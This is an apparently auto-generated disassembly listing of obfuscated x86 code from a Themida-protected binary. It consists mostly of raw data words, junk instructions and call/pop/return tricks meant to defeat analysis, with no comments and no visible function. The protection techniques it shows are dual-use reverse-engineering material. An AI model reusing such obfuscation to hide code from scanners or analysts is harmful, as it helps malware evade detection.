		dd 437CB7A0h, 139D958Bh, 47C7060Fh, 61746104h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 7D9D290Bh, 8B060F0Fh, 1752CA85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0B7FBCC80h
		dd 441AA4F1h, 8C0F9BAEh, 0Dh, 8E9h, 90230B00h, 0FAAFD314h
		dd 0C478977h, 307DB58Bh, 858B060Fh, 61752CEh, 66084789h
		dd 83509BBEh, 0CA8028C7h, 2E07C793h, 6A6E6F63h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0A24CC352h, 0E13B14F8h, 0AC177BCAh, 16E5B58Bh, 0BE66060Fh
		dd 47C73D9Ah, 67696604h, 6E900h, 2BD50000h, 0A49A1749h
		dd 52C6858Bh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0F6064C3h, 583h,	0FE10BF00h, 0BA665A88h
		dd 89617034h, 8D890C47h, 60F2A61h, 52C2858Bh, 81660617h
		dd 0E99844DAh, 10h, 3AB7BE9Eh, 2CD7B519h, 7BDA482h, 0C88C9817h
		dd 60084789h, 8B66E58Ah, 6A5861CBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D9D3C352h
		dd 3DBD09C7h, 8D060F14h, 0F01658Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 852919CBh
		dd 60F32EDh, 0BE6691F8h, 6050AA81h, 5F616053h, 61DE8B66h
		dd 0CA816691h, 0B5FF0E31h, 60F3405h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 8DC35545h, 718F643Dh, 8B6C2BA2h
		dd 0F1A3195h, 6E906h, 48F00000h, 135AAC4Eh, 92684C68h
		dd 24348117h, 1792784Ch, 1859BD89h, 0B5FF060Fh,	60F2B85h
		dd 0FFF3B70Fh, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD895D10h, 60F2911h
		dd 8FF68166h
		db 72h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0480


loc_5D0925:				; CODE XREF: sub_5D0480+3Ej
		mov	eax, 0
		push	eax
		mov	[ebp+60F2711h],	edi
		pop	esi
		and	esi, [ebp+60F15A1h]
		or	eax, eax
		jz	loc_5D0967
		movsx	esi, bx
		push	dword ptr [ebp+60F2921h]
		mov	dx, 5AF8h
		call	dword ptr [ebp+60F2A05h]
		call	sub_5D0961
		pop	ebx
		int	0Ah		;  - IRQ2 - EGA	VERTICAL RETRACE
		mov	[ecx], ecx
		cmp	al, 4Ah
		cmp	bh, [esi]
; END OF FUNCTION CHUNK	FOR sub_5D0480

; =============== S U B	R O U T	I N E =======================================



sub_5D0961	proc near		; CODE XREF: sub_5D0480+4D3p
		sbb	dx, 0A8DEh
		pop	edx


loc_5D0967:				; CODE XREF: sub_5D0480+4BAj
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5D0974
		and	[ecx-3Dh], bl
sub_5D0961	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D0974	proc near		; CODE XREF: sub_5D0961+Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D0974	endp

; ---------------------------------------------------------------------------
		test	ecx, 76B120B9h
		inc	esp
		movsx	esi, si
		cmp	dword ptr [ebp+60F1891h], 0
		jnz	short loc_5D09A0
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_5D09B9


loc_5D09A0:				; CODE XREF: Themida_:005D0995j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+60F2941h],	eax
		lea	ebx, [ebp+611B01Fh]
		call	ebx
		pop	ebx
		pop	eax


loc_5D09B9:				; CODE XREF: Themida_:005D099Ej
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_5D09D9
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+60F2941h],	eax
		lea	ebx, [ebp+611ACC0h]
		call	ebx
		pop	ebx
		pop	eax


loc_5D09D9:				; CODE XREF: Themida_:005D09C0j
		add	dx, 0EB9Fh
		push	0
		push	edi
		call	sub_5D09E9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D09E9	proc near		; CODE XREF: Themida_:005D09E1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5D09E9	endp

; ---------------------------------------------------------------------------
		db 79h,	16h, 59h
		dd 8E972h, 89B50000h, 117713A2h, 0C08B8D5Dh, 0DDBE6651h
		dd 3BA5A7Ch, 8B737A0Bh,	12E8C0h, 16280000h, 0BB38723Ah
		dd 8E909DCAh, 583DBA3h,	0C2BE0325h, 959D08Bh, 0F279D8Dh
		dd 1DC18106h, 8B000059h, 1620B8D8h, 9D230000h, 60F1B39h
		dd 9E831FFh, 18000000h,	4407D4C1h, 23F7845h, 0A39B589h
		dd 5F5B060Fh, 17819589h, 0EF81060Fh, 6B4F4213h,	0BD9D8Bh
		dd 0F781060Fh, 137A8715h, 78C0Fh, 810F0000h, 1,	8BEF81F8h
		dd 8B2CC8D3h, 0F264DB5h, 0B58B5706h, 60F0FE9h, 958B018Fh
		dd 60F1DE9h, 8901E983h,	0F1C899Dh, 49494906h, 3E87CB81h
		dd 0F48752Fh, 0FFFF8F85h, 8DF18BFFh, 175CDE8Dh,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0DEB83DF9h, 40EBF114h, 5E9096Fh, 57000000h, 5C1F8633h
		dd 2C658D89h, 6A060Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 9B3493C3h, 8B591C7Ah, 0F085985h
		dd 9E906h, 0A1180000h, 0C3F95BA0h, 0C7DACFF8h, 0F07C185h
		dd 6F7406h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0FCCD5E8h, 85C7F9B7h, 60F2491h, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+60F11ADh]
		push	dword ptr [ebp+60F1605h]
		call	dword ptr [ebp+60F2A05h]
		push	0
		push	ecx
		call	sub_5D0B81
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0B81	proc near		; CODE XREF: Themida_:005D0B79p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D0B81	endp

; ---------------------------------------------------------------------------
		fsubr	dword ptr [ebx]
		add	ch, [ebx-74F573AEh]
		mov	ch, 4Dh
		adc	cl, [edi]
		push	es
		movsx	edi, ax
		push	0
		call	dword ptr [ebp+60F3451h]
		mov	eax, eax
		jmp	short loc_5D0BCA
; ---------------------------------------------------------------------------
		db 0FDh, 0EFh, 5Dh
		dd 18B1EA8Bh, 28F113A4h, 3040860Ah, 82FE2A54h, 0A5F1664Eh
		dd 8B23F479h
		db 0, 0E7h
; ---------------------------------------------------------------------------


loc_5D0BCA:				; CODE XREF: Themida_:005D0BABj
		jmp	loc_5D0BE3
; ---------------------------------------------------------------------------
		db 92h
		dd 2E81A7h, 3 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5D0BE3:				; CODE XREF: Themida_:loc_5D0BCAj
		jmp	loc_5D115A
; ---------------------------------------------------------------------------
		dd 283D1871h, 0B8CD5005h, 4B60C395h, 0DCF16C28h, 7186A1B9h
		dd 5A2EBE50h, 0B0C7EAFFh, 3A5D8095h, 99EF1227h,	2DDAA9BEh
		dd 0ECF17B7Ch, 0A4BDB466h, 0ED1A3D53h, 4DF8FFB0h, 8A3F6D04h
		dd 0E9812409h, 4016394Eh, 4DBB3CEDh, 0BF746D04h, 6C02A58Ah
		dd 2E699CC9h, 5975C63Ch, 97CC3048h, 1AFB06B2h, 5057BA82h
		dd 12B59A1Bh, 8DFBE043h, 0C69C2B38h, 0E4214E63h, 3A0C433h
		dd 8AB66B6Dh, 0E2B2A42Bh, 427A86Ch, 98BBD053h, 46E176FFh
		dd 8EA9BE61h, 923F2459h, 472C375Fh, 36C76692h, 168D184Eh
		dd 3A1D7295h, 0F8875C55h, 4F3A4E1h, 2B6D036Bh, 81D2F576h
		dd 1066899Eh, 0CB2F5035h, 616D036Ah, 3B2671A4h,	61E27D18h
		dd 0E236CF9Ch, 8B4C0F12h, 4Ch, 1A3D5372h, 4DE91435h, 88456D04h
		dd 3A1F0255h, 2E63FE97h, 0F0D5480Bh, 96F5BA3Bh,	0FF5898Fh
		dd 1E24Ch, 53C90000h, 8D3A1F02h, 4E589F50h, 2ADF6D04h
		dd 53D44F07h, 15FA6530h, 5A3F2272h, 0FBC897ECh,	8FB2C75Ah
		dd 40495EF9h, 371C3F53h, 315EC194h, 4DB443F4h, 61126D04h
		dd 6D044D96h, 7328ECA1h, 4E629546h, 18CD6D04h, 276CB297h
		dd 54F78B58h, 0F5461C3Fh, 0E413C49Fh, 4B6D044Dh, 173E6196h
		dd 45F2D70Ch, 7EE47E12h, 38F1911Dh, 9ABD3E73h, 218065F8h
		dd 0FA368FDCh, 16EB8824h, 0B09D1E4Fh, 4C0F1778h, 0A415h
		dd 0EA9BD800h, 6D03780Dh, 9C60F5BAh, 4408B17Eh,	53050E8Fh
		dd 0B2EF1C3Fh, 44DF601h, 0B8C416Dh, 4ED18326h, 95B0C669h
		dd 0DA750DB0h, 44DCE29h, 7FB4696Dh, 5E2D029Ah, 2F3C917Fh
		dd 290C6396h, 0D6638F44h, 6A4177CCh, 273B5EDFh,	0B4CCEF04h
		dd 4D09AC91h, 0CFF53EDBh, 0D58611EEh, 6D035322h, 0EE23580Dh
		dd 0D04385C1h, 0C0A9BACAh, 0B6FB5A3Fh, 0F0D850A9h, 41B54C0Fh
		dd 9C000000h, 652E3F53h, 6598C5FAh, 94492E31h, 0C88B2E13h
		dd 4E332E67h, 0E77F6499h, 2F6C7512h, 44E797Eh, 8809BE6Dh
		dd 152A0D65h, 1F02530Ch, 4DE1193Ah, 0F64B6D04h,	0F5889069h
		dd 1E54C0Fh, 0CC000000h, 391E0153h, 3865C096h, 4854D5FCh
		dd 0D5F8A476h, 1B69BBEh, 0CDA29B80h, 0FC6731BEh, 5C7E1BE7h
		dd 4404CABh, 0B2EE36Dh,	74A1D649h, 0B3943C3h, 70550A6Bh
		dd 7F94B7CDh, 3E23065Ch, 0EA795591h, 7DA8F294h,	617DE290h
		dd 0ED6EA33Ah, 0F4BDB14Ch, 0E5D3266h, 5499ABC1h, 785E0139h
		dd 0E14123B7h, 516B65B5h, 0AFE41904h, 46E1779Ah, 8DA8BE61h
		dd 0CD5005A8h, 0E1145E8h, 0AFBC9129h, 0C0B8517h, 7AAF8E25h
		dd 0D3106FB4h, 98859ABDh, 4600D080h, 161EDh, 0E57DB000h
		dd 0AAB8C142h, 0CC9DF5EFh, 0FDB2978Ah, 0F92EE3C8h, 57FB1BCCh
		dd 7D326B0Bh, 279A1450h, 3B6A6935h, 0F528D5BAh,	0C69CBFA2h
		dd 48C97E63h, 0D7EC4F25h, 0CB8DDEB4h, 89BE7358h, 0E26B01A4h
		dd 9378ADB0h, 6C7B084Dh, 311E3316h, 460035E7h, 73E13773h
		dd 9EA1A0C8h, 76011Dh, 87C40000h, 7A1B3E54h, 66F5457Dh
		dd 5B1F0253h, 0AA1C25A6h, 3B4E1F1h, 12FBB0D4h, 0FD39661Bh
		dd 97890594h, 0AF941553h, 466698Eh, 553207EDh, 7B2CAEEDh
		dd 0ED04667Ch, 9CD2FEB3h, 8AFBB339h, 76275489h,	92FBD161h
		dd 0B83FF02Dh, 7F6D042Eh, 0C0A5B8DCh, 9155D60Bh, 5D9AC7DCh
		dd 42F4BACh, 27E7C6Dh, 0FEAA6E91h, 1459853Ah, 1AE14181h
		dd 8F4522A3h, 0AC000000h, 0B6E3EFAAh, 0B452505h, 19CA076Bh
		dd 66F542DEh, 5F23A459h, 8F407DAAh, 66F54368h, 0F76A2CCFh
		dd 0B95C41C2h, 467388A3h, 5CDD4013h, 0F0112339h, 89897D95h
		dd 5071568Bh, 66F52CA0h, 12D1AE83h, 0F8C4D97Ch,	0C80431A1h
		dd 4FF19166h, 2F5CDDC7h, 3AF787Eh, 68195665h, 6CEC148Fh
		dd 0AE72F3A8h, 0FD99CCF9h, 59FCE162h, 4A432803h, 4111D10Dh
		dd 1A0E7C1Ch, 8FB7D499h, 0EA9BC80Ah, 6AFA670Ch,	2C596E23h
		dd 5CB93EEFh, 0C97E66F4h, 0D493F48h, 0E9D52448h, 2EFA7B91h
		dd 893A676Bh, 6B12F86Dh, 0AAE613C8h, 2D31C662h,	0BBDCFF58h
		dd 8D0EC3A8h, 0CC6F05A8h, 5BFE94B7h, 98EF5576h,	0C71C3F7Ah
		dd 0F2552BB8h, 81A4BADDh, 0A7BCEF9Ch, 0B4E00384h, 0F3407CA9h
		dd 58A79A7Bh, 24C7AC2Dh, 6609EE71h, 130E462Fh, 5F44792Eh
		dd 0D1E07F54h, 0E7E48358h, 74A1B691h, 8F102B41h, 4E33166Ch
		dd 3F1h, 0CED75800h, 361B3E53h,	755AFD93h, 0B99E81D2h
		dd 1E64116h, 4A2F0A5Eh,	9378D3A7h, 0D4B9A4F0h, 17FC6731h
		dd 593E2174h, 4EC83F7h,	89241C89h, 4C381E3h, 83000000h
		dd 1C8704EBh, 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 2434895Ch, 799D68h, 242C8900h, 4EC81h, 4890000h, 4E9AB824h
		dd 70057B4Eh, 480AAC4Bh, 0FB1B070Dh, 5461252Ch,	0ED3557A6h
		dd 2D0C0B32h, 391C5CEh,	8158C689h, 4ECh, 24248900h, 4240481h
		dd 5D000000h, 89F28952h, 148B0855h, 4C48124h, 8B000000h
		dd 8950242Ch, 405E0h, 0C0830000h, 24048704h, 2434FF5Ch
		dd 4C4815Eh, 0E9000000h, 0FFF81C32h, 8BD20210h
		db 11h,	89h
; ---------------------------------------------------------------------------


loc_5D115A:				; CODE XREF: Themida_:loc_5D0BE3j
		mov	eax, 61761EBh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 33h
		dd 0B25A11B1h, 7E394740h, 8417F071h, 0E54A0477h, 0E6703CA0h
		dd 4C76962Eh, 0D74A4267h, 0FD23EF4Ah, 0A147A1A3h, 930627B1h
		dd 0B23CFEEFh, 9E6247A0h, 0F7505591h, 8361A9A4h, 142E83Dh
		dd 8D78DFE3h, 1763AF8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 27D781D3h, 895876A8h
		dd 0F1A9D8Dh, 658D8906h, 0C7060F2Ch, 0F07C185h,	727C06h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0C22D4971h, 16AD0342h, 6810F75h,	8B000000h
		dd 0F19C9BDh, 9185C706h, 60F24h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 2F2EC350h
		dd 0EDEFCDFEh, 0AE9h, 58A0A800h, 0AE93DD04h, 0FF5E73A8h
		dd 0F0B09B5h, 0B58D0106h, 0E9060F10h, 10h, 0B9696939h
		dd 0CE9B2838h, 107EA68Ch, 5538BCB6h, 2A0595FFh,	6A060Fh
		dd 345195FFh, 0C08B060Fh, 0B17C5AEBh, 826CCF1Ah, 86CADA64h
		dd 10FE4800h, 4E526D36h, 64F68336h, 9D6E07CEh, 0B0D6686Ch
		dd 2C98B75Ch, 0DDF5872Dh, 1E05529Ah, 0F267A892h, 869B6072h
		dd 19D812B7h, 0F4EBA5BBh, 3655A565h, 77816598h,	24A44B3Fh
		dd 0B49F573Ch, 0AA1E2C6h, 0CEDF62F5h, 41AE488h,	0FA0BBC97h
		dd 9E8h, 46997B00h, 0E838F98Eh,	89600445h, 0F2A7D9Dh, 0D15FBF06h
		dd 5A6117A4h, 29BD9D8Bh, 0C281060Fh, 72B7h, 8AA5B866h
		dd 0BFh, 0C59D8B00h, 8B060F34h,	81F93A0Ch, 32E5C9E9h, 0F19D8965h
		dd 81060F19h, 284ABEE9h, 2CF78067h, 0FB48C181h,	8166384Eh
		dd 890BC0CEh, 8B663A0Ch, 9D2B57F3h, 60F256Dh, 4EF8358h
		dd 28558D89h, 0FF81060Fh, 0FFFF8DC4h, 0FFB9850Fh, 0B589FFFFh
		dd 60F319Dh, 22E900EBh,	0EC000004h, 7A9DB295h, 103348DBh
		dd 0A3C6DB46h, 385B70F3h, 0CFF00520h, 74D7AB3Dh, 4273C5Fh
		dd 988BCCEFh, 2F0A6083h, 0ED9E4B1Ah, 66ECEA0Ah,	53152E25h
		dd 0E70A1F02h, 0CF87BAADh, 19BA6F54h, 6D044DDEh, 5A6FA459h
		dd 0EF041F37h, 5EF98FC2h, 83A6BADDh, 14374B6Eh,	302DABE7h
		dd 0A7335DF4h, 99EE1126h, 497CA9BEh, 90331833h,	0C0755AC5h
		dd 0ACE70A8Bh, 0A98E91C3h, 7DAABFF4h, 9415084Ah, 4F491B71h
		dd 0FE44D6ACh, 0D7788DC2h, 6B126E11h, 0F0865E40h, 9DF52855h
		dd 5E93B6CCh, 0E4BF8DDh, 0ED719A5Dh, 89E99566h,	50859481h
		dd 4669EA1Fh, 0A2E130Eh, 9FB4AFE7h, 0DF0CC6D3h,	0F4CA142Eh
		dd 54FE3A64h, 7E0DBB31h, 2F64C79Dh, 5035EAAEh, 0EA70CC2Fh
		dd 70A3506Ch, 0F7BC3D18h, 18879168h, 45E44BF6h,	0CB000001h
		dd 0EC7F1649h, 44DBC3Bh, 89BE736Dh, 0B146F7A4h,	866D044Dh
		dd 0F81B9CD1h, 91E0C560h, 276A8E4h, 4CEEB841h, 0CD854220h
		dd 23A4B6A0h, 31C645F6h, 0DC916D04h, 48DB7CAFh,	69EA4D25h
		dd 0B08BE184h, 273A5083h, 4328176h, 0CC01B66Dh,	1CFD71A0h
		dd 0BC3D4F97h, 53EE84A7h, 0FB1F5217h, 31D2AA32h, 6D044CC6h
		dd 0A287BC71h, 628F4356h, 0B63C5B1h, 89CD706Bh,	0D97C6196h
		dd 1ABDA2BDh, 0B7FDE245h, 4BC41572h, 84DAE976h,	0D9C08CA1h
		dd 671BCCF9h, 0DE64FC42h, 0C9A14429h, 450E416Eh, 3C52F5DAh
		dd 4E63E419h, 0FF4572Bh, 83742562h, 0AC6D0444h,	0F1AA76F7h
		dd 2403B4E1h, 6B6D0445h, 5C918CC8h, 0C61E7B47h,	336095B0h
		dd 0A2DABAF6h, 0B59ABDD2h, 4CC0D400h, 6A24C546h, 0E56B0AD9h
		dd 0BBC70330h, 7813C289h, 0DE8B70F1h, 1B07F0A1h, 7B3066F5h
		dd 0BA83D7FAh, 384D82A5h, 0A782D80Bh, 177116C2h, 0A5D767F8h
		dd 13364D70h, 401B6F92h, 0F0D9D713h, 0DF612D80h, 2F601B2h
		dd 8C4166F5h, 0C1DA260Bh, 28F6819h, 0E4966F5h, 659A4F13h
		dd 3AC8738h, 26DB66F5h,	0BF9AEE11h, 29345F92h, 0EFD44F06h
		dd 9BA4B93Ah, 3AEBEFAAh, 6D044DBDh, 0DF90BD72h,	6D044E18h
		dd 8356A1Fh, 0B89D80D5h, 5945C60Ch, 6FA42CA0h, 6E10C1EEh
		dd 0C96B0ADBh, 0F68C2F14h, 6B4F3E53h, 843A9803h, 0F4A418E3h
		dd 0A1AAC066h, 0D1866BF6h, 1D5A879Ch, 0D1B6A9EAh, 0A47C7B1Ch
		dd 25466F4h, 25A65B1Fh,	0E4C96C02h, 0D1ADFB37h,	675C9D74h
		dd 8AADC3E6h, 4D1A5FA5h, 204DE87Eh, 0BE1C8FE4h,	0FD7E3E90h
		dd 491DFBE8h, 364E4600h, 35000000h, 0E37E1649h,	0CF039662h
		dd 6485F1A2h, 0FBB06B0Bh, 3A1D7316h, 0ABBF825h,	66F522EDh
		dd 22CF28D9h, 0B36866F5h, 5C0D3AEFh, 66F5229Bh,	815EDF94h
		dd 1Bh,	200353E8h, 8A95C0F3h, 89CDF0A5h, 7BFCB196h, 0CC9DF396h
		dd 0F9AE93B6h, 49A6AFC4h, 513CBC0Dh, 889957Bh, 99AEB1E5h
		dd 976C1DCAh, 476D035Eh, 9BE6120Bh, 62E30765h, 6104E99Eh
		dd 0A84B300Bh, 0EC8F74EFh, 948FC7A8h, 9A6F7A5Fh, 0CF6AFECDh
		dd 870035EAh, 0BD6AD5B2h, 369F70Ch, 6E9B506Dh, 36A3ABDh
		dd 2B40F56Dh, 91E97208h, 0EF1CD1B6h, 369B93Eh, 94C97E6Dh
		dd 64ADBA7Fh, 14h, 1A3D53CBh, 0B54C8835h, 421CC8D0h, 0E076991Ah
		dd 88913045h, 361B3E53h, 755AFD93h, 0B99E81D2h,	1E64116h
		dd 4A2F0A5Eh, 9378D3A7h, 0D4B9A4F0h, 17FC6731h,	593E2174h
		dd 5B5453F7h, 4C381h, 0EB830000h, 241C8704h, 0E289525Ch
		dd 4C281h, 0EA810000h, 4, 5C241487h, 68240C89h,	63D9h
		dd 50242C89h, 9D3811B8h, 0D3782D78h, 59507285h,	4EC8358h
		dd 83242489h, 5D042404h, 24348151h, 61F56CAAh, 5308458Fh
		dd 8BBh, 81EB0100h, 0F56CAA33h,	2C8B5B61h, 0E0895024h
		dd 405h, 40500h, 4870000h, 34FF5C24h, 0C4835924h, 160CE904h
		dd 0C21FFF8h, 0F53FA171h, 0BF08E885h, 682FB8A0h, 0C5030617h
		dd 5D5DE0FFh, 0A19172A0h, 0D9950364h, 0BA62404Ah, 203F497Bh
		dd 0DA4C276Fh, 0C35E0B86h, 61F22E71h, 0CC031839h, 0FF9D0D34h
		dd 0DF2F3EE5h, 0D1B77741h, 0BF53DD3h, 758D1D5Ah, 9B5B3DF5h
		dd 0FE9477CBh, 0BBCE2074h, 94772D47h, 0DCE26D4Ah, 77E8081Dh
		dd 3ECF75A5h, 8CCA0EF6h, 2E797377h, 703425Dh, 0D0B238C8h
		dd 212E16CFh, 90A3FA0h,	0BBAC3C9Dh, 2B965137h, 0BF8436C4h
		dd 783D3F28h, 45957B34h, 81661E1Bh, 6610BBE1h, 66B1E3BFh
		dd 0BF23ADBAh, 222F2EC4h, 0E9C18B66h, 0Dh, 459E10D6h, 3AF78F3Ah
		dd 0B3940E59h, 25D081E3h, 0B34DB8F3h, 58E280F3h, 0F781E3B2h
		dd 392CBF8Bh, 0CA81F88Bh, 7816750Dh, 0C3816660h, 9B9AF38h
		dd 6174549Ch, 48F0Fh, 0B9660000h, 8166E900h, 0F8E9CD3h
		dd 38Fh, 5FFC5100h, 5E9h, 8AFD3600h, 0F98BD468h, 0C840Fh
		dd 8C0F0000h, 6, 830Fh,	0E9510000h, 0Dh, 0FDA8A84Dh, 31CF959Ch
		dd 76BE4F1Ah, 7E8585Bh,	0CE000000h, 3374D2D5h, 8F0FB98Dh
		dd 2, 66595A51h, 0EA80C38Bh, 0BF2BBB71h, 8B6603C0h, 816060FAh
		dd 2C6210D2h, 0F861614Fh, 0BBF7D081h, 0E9FC3629h, 0Eh
		dd 0DE1CB1A6h, 77D8E0D0h, 1CD5383Ch, 0F609BC2h,	289h, 61CF8B00h
		dd 80ED68B8h, 0D2B70F2Fh, 0FD0B70Fh, 0F60CEBFh,	0D85h
		dd 8E900h, 1DA00000h, 7D2298EDh, 0F861ED0Ch, 816694B7h
		dd 66463DDFh, 830FCE8Bh, 0
; ---------------------------------------------------------------------------
		jnb	loc_5D193F
		pusha
		jnp	$+6
		mov	ebx, 603F90F2h
		popa


loc_5D193F:				; CODE XREF: Themida_:005D192Cj
		movsx	eax, si
		movsx	ecx, ax
		jmp	loc_5D1958
; ---------------------------------------------------------------------------
		dw 927Ah
		dd 0CC05380Ch, 0F2183FCEh, 4A50710Dh
; ---------------------------------------------------------------------------


loc_5D1958:				; CODE XREF: Themida_:005D1945j
		jmp	loc_5D1963
; ---------------------------------------------------------------------------
		db 67h,	75h, 0ECh
; ---------------------------------------------------------------------------
		rol	byte ptr [ebp+66h], cl


loc_5D1963:				; CODE XREF: Themida_:loc_5D1958j
		jmp	loc_5D197C
; ---------------------------------------------------------------------------
		dd 25558AA8h, 0B7CDB693h, 0A57C4183h, 90C68246h, 84E4B291h
; ---------------------------------------------------------------------------


loc_5D197C:				; CODE XREF: Themida_:loc_5D1963j
		jmp	loc_5D198E
; ---------------------------------------------------------------------------
		db 0A3h, 0BDh, 0FCh
		dd 0ABA57B70h, 22AD77CFh
		db 0, 0D4h
; ---------------------------------------------------------------------------


loc_5D198E:				; CODE XREF: Themida_:loc_5D197Cj
		mov	esi, ebx
		movsx	edx, dx
		mov	ebx, eax
		mov	si, 0B64Dh
		mov	esi, eax
		jmp	loc_5D19AA
; ---------------------------------------------------------------------------
		dd 0D63C9573h, 2DC1A3FCh
; ---------------------------------------------------------------------------
		mov	bh, [eax]


loc_5D19AA:				; CODE XREF: Themida_:005D199Bj
		sbb	dx, 0D893h
		jmp	loc_5D19C3
; ---------------------------------------------------------------------------
		inc	esi
		imul	ebp, [eax+0B29A3A4h], 0C93DD0F1h
		xchg	eax, edx
		stc
		xor	al, 79h


loc_5D19C3:				; CODE XREF: Themida_:005D19AFj
		mov	dh, 0DEh
		mov	dh, cl
		movsx	ebx, bx
		call	near ptr loc_5D19D4+1
		test	ah, dh
		lea	ecx, [esi-61h]


loc_5D19D4:				; CODE XREF: Themida_:005D19CAp
		in	eax, 0E9h
		or	[eax], eax
; ---------------------------------------------------------------------------
		dd 0F3460000h, 0B1D146F2h, 5F1FABD5h, 0AE9h, 9AF01300h
		dd 0AD8DDFF7h, 605BE270h, 5AE181F9h, 610B683Bh,	2BBCC381h
		dd 0DE96A1Eh, 0F7000000h, 0D876BD4Dh, 0B39153BDh, 718327EEh
		dd 950F681h, 81600A84h,	5287F5E3h, 0C2BF0F48h, 0D6816661h
		dd 0E960E79Fh, 5, 75DA91C8h, 0E28166E1h, 66612290h, 470FC981h
		dd 9E860B7h, 6A000000h,	0A3159B65h, 6B673768h, 0D7B70F60h
		dd 5B61CA8Bh, 13E9h, 0ED4B7600h, 2EFC7306h, 36129DECh
		dd 6C31E97Fh, 57D411FCh, 40EF8166h, 3840FC1h, 0F000000h
		dd 0B866D7B7h, 0C68A140Fh, 0BF0FF560h, 0CE8B61FEh, 6890Fh
		dd 0F3810000h, 2D66A965h, 0FFB70FF5h, 11E9h, 37EAD900h
		dd 0E96427F9h, 0DD625378h, 56538C51h, 66600F6Ah, 8B61CB8Bh
		dd 48D0FFBh, 66000000h,	0F831BDBFh, 2810F50h, 0B0000000h
		dd 61605F7Fh, 8B0FCB8Bh, 3, 66D08B66h, 0BBF6F681h, 840Fh
		dd 81660000h, 0F6CE8E6h, 1B8Bh,	9E800h,	30B70000h, 2A5D9C45h
		dd 0E963FE6Dh, 7, 727FF99Fh, 5868894Bh,	33F08166h, 10E838h
		dd 14CC0000h, 19E20E3Fh, 939D1F4Dh, 6856116Eh, 8E8F010h
		dd 4C000000h, 0D9F56BC2h, 665A7A41h, 3CEFD781h,	0D6815F5Ah
		dd 34EA5DF4h, 2880Fh, 0F88B0000h, 3890Fh, 8B660000h, 0C3D881CEh
		dd 0BA041188h, 78949AFAh, 11E800B2h, 7C000000h,	27997AC6h
		dd 0B3F56544h, 9BC55772h, 40921B5h, 60C7B966h, 0FE858h
		dd 8E630000h, 4685336Ch, 0C03821E2h, 5D704EC4h,	10E996h
		dd 27A70000h, 5E1D0372h, 28A48F51h, 1D35A147h, 0E85E0E90h
		dd 12h,	31E1B071h, 49AE0214h, 0D84DC8DCh, 585901Ah, 0E9574BB7h
		dd 14h,	0A921556Eh, 0C8BA6E5Ah,	49594F4Bh, 0B52FAB45h
		dd 0E123EA0Dh, 81665F5Fh, 52A04FEFh, 9E8h, 7B741A00h, 563FACA9h
		dd 0D2803FBEh, 505F5B59h, 13E9h, 0E160F800h, 0C768901h
		dd 0B08FBDDCh, 0B3CD8BFh, 0D249EC7Ah, 0B7EA805Bh, 35AEE981h
		dd 14E906BFh, 0C7000000h, 99A46EDCh, 0E58CA359h, 698F4CBEh
		dd 16B7BA17h, 0E98A2C1Fh, 5, 5AB4833Ch,	0EFE6800Bh, 12E8h
		dd 0AC9B9600h, 0D8CB2411h, 0DDF60AF8h, 246D881Dh, 663656A7h
		dd 58E3D8B8h, 12E9h, 48A4AF00h,	0A61DDF2h, 3F767AB5h, 0C827DD30h
		dd 0E91157AEh, 0Ah, 0E5B6F62h, 9B1E8C86h, 0EE81754h, 42000000h
		dd 0C22AD048h, 0F81865A9h, 254CBCCAh, 3850F24h,	0F000000h
		dd 0F5EC0BFh, 880FFFB7h, 13h, 0CE8h, 42481400h,	80E3DEC1h
		dd 0D633271Eh, 8058F859h, 0D881F7F4h, 11777D9Eh, 6DD38150h
		dd 5A412F1Eh, 6E9F58Ah,	0A2000000h, 8C6E94BBh, 6656F9C6h
		dd 0F58FB8Bh, 1B88h, 14E800h, 808E0000h, 0BE851BD3h, 37E4836Ch
		dd 0DEFF5EC3h, 6D770F51h, 59F8E2C9h, 0C551C7BAh, 0EE900h
